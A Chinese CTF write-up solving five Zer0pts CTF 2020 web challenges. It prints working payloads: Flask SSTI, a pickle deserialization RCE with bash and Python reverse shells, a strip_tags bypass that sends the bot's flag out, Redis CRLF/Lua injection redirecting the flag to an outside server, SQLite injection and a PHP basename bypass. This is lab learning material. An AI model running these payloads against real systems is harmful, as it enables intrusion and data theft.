Zer0pts CTF 2020的web賽後記錄+復現環境

2020-12-12 湖南蟻景

前言

打了Zer0pts CTF 2020感覺題目不錯就總結一下。

復現環境地址:https://gitlab.com/zer0pts/zer0pts-ctf-2020/

0x01 notepad

1.題目源碼:

...省略...

app = flask.Flask(__name__)

app.secret_key = os.urandom(16)

bootstrap = flask_bootstrap.Bootstrap(app)

@app.route('/', methods=['GET'])

def index():

return notepad(0)

@app.route('/note/<int:nid>', methods=['GET'])

def notepad(nid=0):

data = load()

if not 0 <= nid < len(data):

nid = 0

return flask.render_template('index.html', data=data, nid=nid)

...省略...

@app.errorhandler(404)

def page_not_found(error):

""" Automatically go back when page is not found """

referrer = flask.request.headers.get("Referer")

if referrer is None: referrer = '/'

if not valid_url(referrer): referrer = '/'

html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

return flask.render_template_string(html), 404

def valid_url(url):

""" Check if given url is valid """

host = flask.request.host_url

if not url.startswith(host): return False # Not from my server

if len(url) - len(host) > 16: return False # Referer may be also 404

return True

def load():

""" Load saved notes """

try:

savedata = flask.session.get('savedata', None)

data = pickle.loads(base64.b64decode(savedata))

except:

data = [{"date": now(), "text": "", "title": "*New Note*"}]

return data

...省略...

2.方法一:處理404頁面的page_not_found()函數存在模板注入:

@app.errorhandler(404)

def page_not_found(error):

""" Automatically go back when page is not found """

referrer = flask.request.headers.get("Referer")

if referrer is None: referrer = '/'

if not valid_url(referrer): referrer = '/'

html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

return flask.render_template_string(html), 404

referer可控,但是限制了長度。所以利用這裡的SSTI可以讀取一些配置,但是不能直接RCE。

GET /404 HTTP/1.1

Host: 192.168.0.107:8001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.107:8001/?{{config}}

Connection: close

Upgrade-Insecure-Requests: 1

響應的結果如下:

HTTP/1.0 404 NOT FOUND

Content-Type: text/html; charset=utf-8

Content-Length: 1631

Server: Werkzeug/0.16.0 Python/3.7.3rc1

Date: Wed, 18 Mar 2020 17:25:11 GMT

<html><head><meta http-equiv="Refresh" content="3;URL=http://192.168.220.157:8001/?&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: b&#39;E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: datetime.timedelta(seconds=43200), &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;BOOTSTRAP_USE_MINIFIED&#39;: True, &#39;BOOTSTRAP_CDN_FORCE_SSL&#39;: False, &#39;BOOTSTRAP_QUERYSTRING_REVVING&#39;: True, &#39;BOOTSTRAP_SERVE_LOCAL&#39;: False, &#39;BOOTSTRAP_LOCAL_SUBDOMAIN&#39;: None}&gt;"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>

得到的secret_key

為b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea',因此我們可以偽造session的值。

第二個洞是python反序列化:

...

import pickle

...

@app.route('/note/<int:nid>', methods=['GET'])

def notepad(nid=0):

data = load()

if not 0 <= nid < len(data):

nid = 0

return flask.render_template('index.html', data=data, nid=nid)

...

def load():

""" Load saved notes """

try:

savedata = flask.session.get('savedata', None)

data = pickle.loads(base64.b64decode(savedata))

except:

data = [{"date": now(), "text": "", "title": "*New Note*"}]

return data

...

flask用的是客戶端的session,因此這裡的pickle.loads()的參數可控。顯然,解題的思路就是用上面我們讀到的secret_key偽造session,然後觸發pickle反序列化,導致RCE。

payload如下:

from flask.sessions import SecureCookieSessionInterface

import os, sys, pickle, base64, requests

COMMAND = "bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"

class PickleRce(object):

def __reduce__(self):

return (os.system,(COMMAND,))

class App(object):

def __init__(self):

self.secret_key = None

app = App()

app.secret_key = b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea'

si = SecureCookieSessionInterface()

serializer = si.get_signing_serializer(app)

session = serializer.dumps({'savedata':base64.b64encode(pickle.dumps(PickleRce()))})

requests.get('http://192.168.220.157:8001/note/1', cookies = {

'session': session

});

3.方法二:通常python反序列化可以直接反彈shell:

import os

import pickle

class Exp(object):

def __reduce__(self):

cmd = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.157",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""

return (os.system, (cmd,))

exp = Exp()

result = pickle.dumps(exp)

print(result)

data=pickle.loads(result)

print(data)

假設題目不能通外網,那麼這道題目怎麼解決?

在flask中其實也可以在反序列化中再嵌套模板注入來實現直接回顯RCE:

class Exp(object):

def __reduce__(self):

return (

render_template_string,("{{payload}}",)

)

由於題目環境是python3因此我們給出下面的幾個python3常用的payload:

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__

#eval

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

#__import__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

不過這題還有個問題:

@app.route('/note/<int:nid>', methods=['GET'])

def notepad(nid=0):

data = load()

if not 0 <= nid < len(data):

nid = 0

return flask.render_template('index.html', data=data, nid=nid)

```

我們return的render_template_string()是傳給了data,然後在傳入後面的render_template(),並沒有直接讓請求結束,返回結果。而render_template_string()是個字符串,在index.html模板裡遍歷輸出:

<ul>

{% for note in data %}

<li{% if loop.index0 == nid %}{% endif %}><a href="/note/{{ loop.index0 }}">{{note.title}}</a></li>

{% endfor %}

<hr>

<li><a href="/reset">Reset All</a></li>

</ul>

所以我們可以通過這種方式構造回顯,結果如下:

由於字符串有多長就會遍歷多少次,所以我們的思路是利用顯示的長度來進行注入。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[0])*'a'") }}{% endif %}{% endfor %}

如果flag的第一個字符是a,就會遍歷輸出97個<li>。

solve.py:

from flask.sessions import SecureCookieSessionInterface

import os, sys, pickle, base64, requests

from flask import render_template_string

import re

class Exploit(object):

def __init__(self, pos):

self.temp = """

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__=='catch_warnings' %}

{{ c.__init__.__globals__['__builtins__'].eval("ord(__import__('os').popen('cat flag').read()[pos])*'a'") }}

{% endif %}

{% endfor %}

""".replace('pos', pos)

def __reduce__(self):

return (

render_template_string, (self.temp,))

class App(object):

def __init__(self):

self.secret_key = None

app = App()

app.secret_key = b'S^\x94\xa0\x05\xa3\xf4\x91\x052$\xd3\x86gX\xc2'

si = SecureCookieSessionInterface()

serializer = si.get_signing_serializer(app)

regex=r'<li><a href="/note/(\d+)">.*</a></li>'

flag=''

for i in range(0,40):

session = serializer.dumps({'savedata': base64.b64encode(pickle.dumps(Exploit(str(i))))})

resp=requests.get('http://192.168.220.157:8001/', cookies={

'session': session

});

find=re.findall(regex,resp.text)

print(find)

if find:

flag+=chr(int(find[find.__len__()-1])+1)

print(flag)

0x02 MusicBlog

源碼裡給了個瀏覽器的bot腳本,worker.js:

// (snipped)

const flag = 'zer0pts{<censored>}';

// (snipped)

const crawl = async (url) => {

console.log(`[+] Query! (${url})`);

const page = await browser.newPage();

try {

await page.setUserAgent(flag);

await page.goto(url, {

waitUntil: 'networkidle0',

timeout: 10 * 1000,

});

await page.click('#like');

} catch (err){

console.log(err);

}

await page.close();

console.log(`[+] Done! (${url})`)

};

// (snipped)

該腳本的功能是設置flag在瀏覽器的UA裡,並且點擊id為like的標籤。

接下來當我們登陸後我們可以在new_post.php的content欄位中插入html標籤。

<form action="/new_post.php" method="POST">

<div>

<label for="title">Title</label>

<input type="text" id="title" name="title">

<small>format: <code>/^[0-9A-Za-z ]+$/</code></small>

</div>

<div>

<label for="content">Content</label>

<textarea id="content" name="content" rows="5"></textarea>

<small>Note: <code>[[URL]]</code> will be replaced by audio player.</small>

</div>

</form>

但是有過濾,只允許<audio>標籤。

<?php

// [[URL]] → <audio src="URL"></audio>

function render_tags($str) {

$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);

$str = strip_tags($str, '<audio>'); // only allows `<audio>`

return $str;

}

而<audio>受以下CSP的限制,無法跨域請求:

<?php

error_reporting(0);

require_once 'config.php';

require_once 'util.php';

$nonce = get_nonce();

header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");

header('X-Frame-Options: DENY');

header('X-XSS-Protection: 1; mode=block');

session_start();

不過我們可以看到上面使用了strip_tags()這個函數,不過這個函數有個bug,參考連結如下:

https://bugs.php.net/bug.php?id=78814

它允許標籤裡出現斜線,猜測這是為了匹配閉合標籤的。但是沒有判斷斜線的位置,在哪出現都可以:

root@kali:~# php -r "var_dump(strip_tags('<a/udio>','<audio>'));"

string(8) "<a/udio>"

顯然<a/udio>在瀏覽器裡會解析成<a>標籤,而超連結的跳轉不受CSP的限制。

payload如下:

<a/udio id=like href=//xxx.xx/>x

而且我們輸入的內容是在第一個點讚按鈕的上面,因此bot將會點擊我們構造的標籤。當bot點擊我們構造的標籤時,將會把flag帶出。最後拿到的flag是:zer0pts{M4sh1m4fr3sh!!}。這題還是比較簡單的。

0x03 urlapp

方法一:

題目源碼:

...省略...

def connect()

sock = TCPSocket.open("redis", 6379)

if not ping(sock) then

exit

end

return sock

end

def query(sock, cmd)

sock.write(cmd + "rn")

end

def recv(sock)

data = sock.gets

if data == nil then

return nil

elsif data[0] == "+" then

return data[1..-1].strip

elsif data[0] == "$" then

if data == "$-1rn" then

return nil

end

return sock.gets.strip

end

return nil

end

def ping(sock)

query(sock, "ping")

return recv(sock) == "PONG"

end

def set(sock, key, value)

query(sock, "SET #{key} #{value}")

return recv(sock) == "OK"

end

def get(sock, key)

query(sock, "GET #{key}")

return recv(sock)

end

before do

sock = connect()

set(sock, "flag", File.read("flag.txt").strip)

end

get '/' do

if params.has_key?(:q) then

q = params[:q]

if not (q =~ /^[0-9a-f]{16}$/)

return

end

sock = connect()

url = get(sock, q)

redirect url

end

send_file 'index.html'

end

post '/' do

if not params.has_key?(:url) then

return

end

url = params[:url]

if not (url =~ URI.regexp) then

return

end

key = Random.urandom(8).unpack("H*")[0]

sock = connect()

set(sock, key, url)

"#{request.host}:#{request.port}/?q=#{key}"

end

功能很簡單,就是個URL縮短,用redis作存儲。

漏洞也是很明顯,url可控,可以通過CRLF注入直接操作redis。

現在我們直接用CRLF注入構造一個完整的url,由於最後會重定向因此可以在自己的伺服器上收到flag。

腳本如下:

import requests

url='http://192.168.220.154:8004/'

query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'}

r = requests.post(url, data=query)

code = r.content[-16:]

print code

p1 = "SCRIPT LOAD \"redis.call('APPEND', KEYS[2], redis.call('GET', KEYS[1])); return 1;\"\r\n"

p2 = "EVALSHA 7614be2a5fac38857cd5a98f26d710f988d1b25f 2 flag {}\r\n".format(code)

query = {'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n' + p1 + p2}

r = requests.post(url, data=query)

r = requests.get(url + '?q={}'.format(code))

# script load "redis.call('APPEND',KEYS[2],redis.call('GET',KEYS[1])); return 1;"

# evalsha 2e6ae1cf12eb9f6554360ede553f0a4bcf8e79ab 2 flag 3bd874b8c5dafc18

結果如下:

Listening on [0.0.0.0] (family 0, port 5478)

Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36352)

GET /?q=Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1

Host: xxx.xxx.xxx.xxx:xxxx

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.22.0

如有什麼不明白的可以參考下面的連結。

方法二:跟上面差不多,不過這次我們不用這麼麻煩了直接設置一個上面可以get的鍵在構造一個可以重定向的url即可。

import requests

url = 'http://192.168.220.154:8004/'

query = {

'url': 'http://xxx.xxx.xxx.xxx:xxxx/?q=\r\n'+'eval "redis.call(\'set\',\'e41cf0f94e050661\',\'http://xxx.xxx.xxx.xxx:xxxx?\'..redis.call(\'get\',\'flag\'));return 1;" 0'

}

r = requests.post(url, data=query)

code = r.content[-16:]

print code

r=requests.get('http://192.168.220.154:8004/?q=e41cf0f94e050661')

print r.url

結果如下:

Listening on [0.0.0.0] (family 0, port 5478)

Connection from [58.16.191.108] port 5478 [tcp/*] accepted (family 2, sport 36741)

GET /?Zer0pts%7Bsh0rt_t0_10ng_10ng_t0_sh0rt%7D HTTP/1.1

Host: xxx.xxx.xxx.xxx:xxxx

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.22.0

0x04 phpNantokaAdmin

題目簡介:

phpNantokaAdmin is a management tool for SQLite.

題目源碼:

index.php

<?php

include 'util.php';

include 'config.php';

error_reporting(0);

session_start();

$method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET');

$page = (string) ($_GET['page'] ?? 'index');

...省略...

if (in_array($page, ['insert', 'delete']) && !isset($_SESSION['database'])) {

flash("Please create database first.");

}

if (isset($_SESSION['database'])) {

$pdo = new PDO('sqlite:db/' . $_SESSION['database']);

$stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . FLAG_TABLE . "' LIMIT 1;");

$table_name = $stmt->fetch(PDO::FETCH_ASSOC)['name'];

$stmt = $pdo->query("PRAGMA table_info(`{$table_name}`);");

$column_names = $stmt->fetchAll(PDO::FETCH_ASSOC);

}

if ($page === 'insert' && $method === 'POST') {

$values = $_POST['values'];

$stmt = $pdo->prepare("INSERT INTO `{$table_name}` VALUES (?" . str_repeat(',?', count($column_names) - 1) . ")");

$stmt->execute($values);

redirect('?page=index');

}

if ($page === 'create' && $method === 'POST' && !isset($_SESSION['database'])) {

if (!isset($_POST['table_name']) || !isset($_POST['columns'])) {

flash('Parameters missing.');

}

$table_name = (string) $_POST['table_name'];

$columns = $_POST['columns'];

$filename = bin2hex(random_bytes(16)) . '.db';

$pdo = new PDO('sqlite:db/' . $filename);

if (!is_valid($table_name)) {

flash('Table name contains dangerous characters.');

}

...省略...

$sql = "CREATE TABLE {$table_name} (";

$sql .= "dummy1 TEXT, dummy2 TEXT";

for ($i = 0; $i < count($columns); $i++) {

$column = (string) ($columns[$i]['name'] ?? '');

$type = (string) ($columns[$i]['type'] ?? '');

if (!is_valid($column) || !is_valid($type)) {

flash('Column name or type contains dangerous characters.');

}

if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {

flash('Column name and type must be 1-32 characters.');

}

$sql .= ', ';

$sql .= "`$column` $type";

}

$sql .= ');';

$pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');

$pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');

$pdo->query($sql);

$_SESSION['database'] = $filename;

redirect('?page=index');

}

...省略...

if ($page === 'index' && isset($_SESSION['database'])) {

$stmt = $pdo->query("SELECT * FROM `{$table_name}`;");

if ($stmt === FALSE) {

$_SESSION = array();

session_destroy();

redirect('?page=index');

}

$result = $stmt->fetchAll(PDO::FETCH_NUM);

}

?>

<!doctype html>

<html>

...省略...

<?php if ($page === 'index') { ?>

<?php if (isset($_SESSION['database'])) { ?>

<h2><?= e($table_name) ?> (<a href="?page=delete">Delete table</a>)</h2>

<form action="?page=insert" method="POST">

<table>

<tr>

<?php for ($i = 0; $i < count($column_names); $i++) { ?>

<th><?= e($column_names[$i]['name']) ?></th>

<?php } ?>

</tr>

<?php for ($i = 0; $i < count($result); $i++) { ?>

<tr>

<?php for ($j = 0; $j < count($result[$i]); $j++) { ?>

<td><?= e($result[$i][$j]) ?></td>

<?php } ?>

</tr>

<?php } ?>

<tr>

...省略...

util.php

<?php

...省略...

function is_valid($string) {

$banword = [

// comment out, calling function...

"[\"#'()*,\\/\\\\`-]"

];

$regexp = '/' . implode('|', $banword) . '/i';

if (preg_match($regexp, $string)) {

return false;

}

return true;

}

首先我們需要了解三個小知識。

第一個:我們在使用sqlite語法的時候列名是可以加方括號的,是為了和mysql語法兼容。例如:select [sql] from sqlite_master;

第二個:我們在使用sqlite_master時使用錯誤的語法,sqlite將會忽略後面列的名稱,無論列的名稱是否真實的存在,除非在列之間放置。

create table sometbl (somecol INT);

insert into sometbl values(1);

select somecol from sometbl;

// 1

select somecol somecoaaaal from sometbl;

// 1

第三個:我們在使用sqlite語法時,用該語句create table ..as select ..創建表時可以不用帶括號。例如:

create table sometbl2 as select 2;

select * from sometbl2;

2通過閱讀上面的原始碼,我們發現table_name和columns參數存在SQL注入,但是我們不知道flag的表名和列名。每個sqlite都有一個自動創建的庫sqlite_master,裡面保存了所有表名以及創建表時的create語句。我們可以從中獲取到flag的表名和欄位名。利用第三個知識點,在創建表時可以用as來複製另一個表中的數據。這裡我們就可以用as select sql from sqlite_master來複製sqlite_master的sql欄位。還有就是,這裡拼接的這一串字符是在as後面的,會影響後面的sql正常執行。

因為後面的$column也是可控的,所以這裡可以用as "..."來把這一段幹擾字符閉合到查詢的別名裡。雙引號被過濾了,在sqlite中可以用中括號[]來代替。

payload如下:

table_name=aaa as select sql as[&columns[0][name]=]from sqlite_master;&columns[0][type]=2

我們將該payload先用post請求該/?page=create路由後創建表aaa和複製數據sql,再用get請求該/?page=index路由後就可以得到sql結果:

得到了表名和列名後,我們用同樣的方法複製出flag,payload如下:

table_name=aaa as select flag_2a2d04c3 as[&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2

成功獲取flag:

0x05 Can you guess it

題目源碼:

index.php

<?php

include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {

exit("I don't know what you are thinking, but I won't let you read it :)");

}

if (isset($_GET['source'])) {

highlight_file(basename($_SERVER['PHP_SELF']));

exit();

}

$secret = bin2hex(random_bytes(64));

if (isset($_POST['guess'])) {

$guess = (string) $_POST['guess'];

if (hash_equals($secret, $guess)) {

$message = 'Congratulations! The flag is: ' . FLAG;

} else {

$message = 'Wrong.';

}

}

?>

...省略...

通過閱讀上面的代碼,我們唯一可以利用的點是highlight_file(),它可以用來顯示代碼,我們的目標是利用它來讀取config.php文件,由於flag在裡面。但是有一個過濾:

<?php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {

exit("I don't know what you are thinking, but I won't let you read it :)");

}

由於'/config\.php\/*$/i'的過濾我們就不能直接用/index.php/config.php?source來顯示config.php文件。

我們知道$_SERVER['PHP_SELF']是可控的值,相對於根目錄。

上面還有一個比較明顯的漏洞就是basename()函數,它會忽略後面的[\x80-\xff]範圍內的字符串。例子如下:

php -r 'print(basename("index.php/config.php/\x80"));' // config.php

php -r 'print(basename("\x80index.php/config.php"));' // config.php

結合上面的兩點,我們的payload如下:

http://3.112.201.75:8003/index.php/config.php/%80?source

結果如下:

<?php

define('FLAG', 'zer0pts{gu3ss1ng_r4nd0m_by73s_1s_un1n73nd3d_s0lu710n}');

相關焦點

  • CTF入門指南 | 內附教程分享
    內網滲透、資料庫安全等 前10的安全漏洞推薦書:A方向:RE for BeginnersIDA Pro權威指南揭秘家庭路由器0day漏洞挖掘技術自己定作業系統黑客攻防技術寶典:系統實戰篇 有各種系統的逆向講解B方向:Web應用安全權威指南 最推薦小白,宏觀web
  • CTF從入門到提升(三)
    國內外著名比賽:國內:xctf聯賽 0ctf上海國內外都有,很強。A方向:IDA工具使用(fs插件)、逆向工程、密碼學、緩衝區溢出等;B方向:Web安全、網絡安全、內網滲透、資料庫安全等 前10的安全漏洞;5.黑客攻防技術寶典:系統實戰篇 有各種系統的逆向講解1.Web應用安全權威指南(最推薦小白,宏觀web安全)4.黑客攻防技術寶典 web實戰篇 web安全的所有核心基礎點,有挑戰性,最常規,最全,學好會直線上升
  • WCTF2020-WP(WEB)
    簡介本次比賽wp是武漢科技大學舉行的第一次CTF線上賽wp,筆者只是web選手,所以只做了web
  • 《親愛的熱愛的》裡面韓商言從事的ctf到底是什麼你知道麼?
    《親愛的熱愛的》這部劇熱播以後,李現扮演的男主韓商言從事的ctf這個項目也熱了起來,其實在原著裡面韓商言從事的電競指的是遊戲,並非現在改編的ctf,小說裡面韓商言是《反恐精英》又稱cs的職業選手,曾是當年CS界最有名的solo戰隊唯一投資人兼主力隊員。
  • CTF小白入門學習指南
    其中,題目大概有這麼幾個 web,密碼學,pwn(綜合滲透),misc(雜項),reverse(逆向),ppc(編程類)而攻防模式的比賽一般就是每一個參賽隊伍,在同一個網絡中,進行相互攻擊和防守,以發現對手伺服器的漏洞,修補和防禦己方伺服器漏洞來得分,一般比賽時間較長,而混合模式就是兩者皆有。那應該如何開始你的CTF得旅程呢?
  • CTF系列 1 密碼題解密網站總結(必收藏乾貨)
    https://tool.lu/http://www.mxcz.net/tools/base64.aspxhttps://www.qqxiuzi.cn/daohang.htmhttp://web2hack.org/xssee/https://www.sojson.com/http://web.chacuo.net/http://tool.chinaz.com
  • De1CTF2020-WriteUp上(Web、Misc、Pwn)
    考點推測是.htaccess getshell,繞一下過濾,上傳.htaccess文件後uploads的對應目錄會500Content-Disposition: form-data; name="fileUpload"; filename="xx.txt"Content-Type: image/jpeg<?
  • 中國平安首屆CTF奪旗賽收官
    11月19日下午,平安集團第一屆CTF奪旗賽線下決賽拉開帷幕,初賽(線上解題賽)勝出的12支戰隊,歷經240分鐘48輪艱苦卓絕的比拼,最終在預賽中就表現出色的「GOGOGO」戰隊力拔頭籌,「shiba lnu」、「AI Team」戰隊分別獲得第二、三名。至此,這場被視為中國平安集團信息安全技術員工「大比武」的賽事完美收官。
  • CTF題記——計劃第一周
    m0re查到ctf表和geek表都有可能,先看geek表?m0re不急著查列,先看看ctf表中是什麼,username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#
  • CTF網絡安全奪旗賽—WEB基礎篇
    JavaScript簡介&&作用02簡介JavaScript 是網際網路上最流行的腳本語言,這門語言可用於 HTML 和 webJavaScript 插入 HTML 頁面後,可由所有的現代瀏覽器執行。JavaScript 很容易學習。
  • CTF中常見的PHP漏洞小結
    在做ctf題的時候經常會遇到一些PHP代碼審計的題目,這裡將我遇到過的常見漏洞做一個小結。md5()漏洞  PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每一個以」0E」開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以」0E」開頭的,那麼PHP將會認為他們相同,都是0。
  • CTF工具+資源 | 插個眼
    實戰病毒分析、軟體逆向研究相關基本功知識速查工具區塊鏈相關基礎知識前言今天看到了一則安全牛的推送,比較牛的資源,保存,插眼,分享Awesome-ctf:https://github.com/apsdehal/awesome-ctfAnarchoTechNYC:https://github.com/AnarchoTechNYC/meta/wiki/InfoSec#hacking-challengeszardus:
  • 《親愛的熱愛的》:韓商言告訴你什麼叫CTF網絡安全賽!
    CTF(Capture The Flag),中文意思是:奪旗賽。起源西方一項傳統的運動比賽,雙方各有一個旗子,以奪得對方的旗子為勝。而在網絡安全領域中,指的是網路安全技術人員之間進行的技術競技的一種比賽模式。網絡安全領域的CTF比賽,我們可以追溯到1996年全球黑客大會。
  • arm_pwn環境搭建及初探
    >$ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386libc環境安裝(安裝後libc環境存放在/usr/aarch64-linux-gnu目錄下):$ sudo apt install libc6-arm64-cross正常啟動:$ qemu-aarch64 -L /usr
  • Defcon CTF Qual 2020 部分 wp
    OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl she holds her head up so high/I think I wanna be her best friend, yeah}PoootThe web
  • TISC 2020 CTF 題目分析及writeups
    連接服務後,指向一個zip文件連接。gef> br *0x662175Breakpoint 1 at 0x662175: file /home/hjf98/Documents/CSPC2020Dev/goware/main.go, line 246.調試運行後,檢查堆棧中的值,找到匹配的字符串:
  • 看雪 2016 CTF 第二十五題 點評和解析
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF]獲取註冊碼 key 後,
  • 看雪CTF.TSRC 2018 團隊賽 第十四題『 你眼中的世界』 解題思路
    倒數第二題結束後,已經刷新了Top 10 的候選人,那麼最後一題決勝局是否會有其他驚喜呢?拭目以待!crownless:「你眼中的世界」是一道pwn題,而不是本次看雪CTF中多見的逆向題,體現了命題的多樣性。
  • CTF|玩轉RSA加密算法(一)
    3.1 First Blood 已知p、q、e求d題目連結 : http://www.shiyanbar.com/ctf/1828題目:在一次/e)求d的腳本,也可以又rsatool.py這個腳本來實現,需要安裝gmpy這個模塊,連結如下連結:http://pan.baidu.com/s/1bCDyoQ 密碼:09gj3.2 Double Kill  已知p、q、e和密文 求明文題目連結 : http://www.shiyanbar.com/ctf
  • Google CTF justintime
    attachments/cd70a91783899292a28926fb9ac3a9d95821560844f2bd43011a5fbf04601a52方法 1剛開始想要使用git reset hard的方式還原,但是找不到對應版本的hash值,後來想到可以在下面的網站找https://chromium.googlesource.com/v8/v8.git/回退到相應的版本後,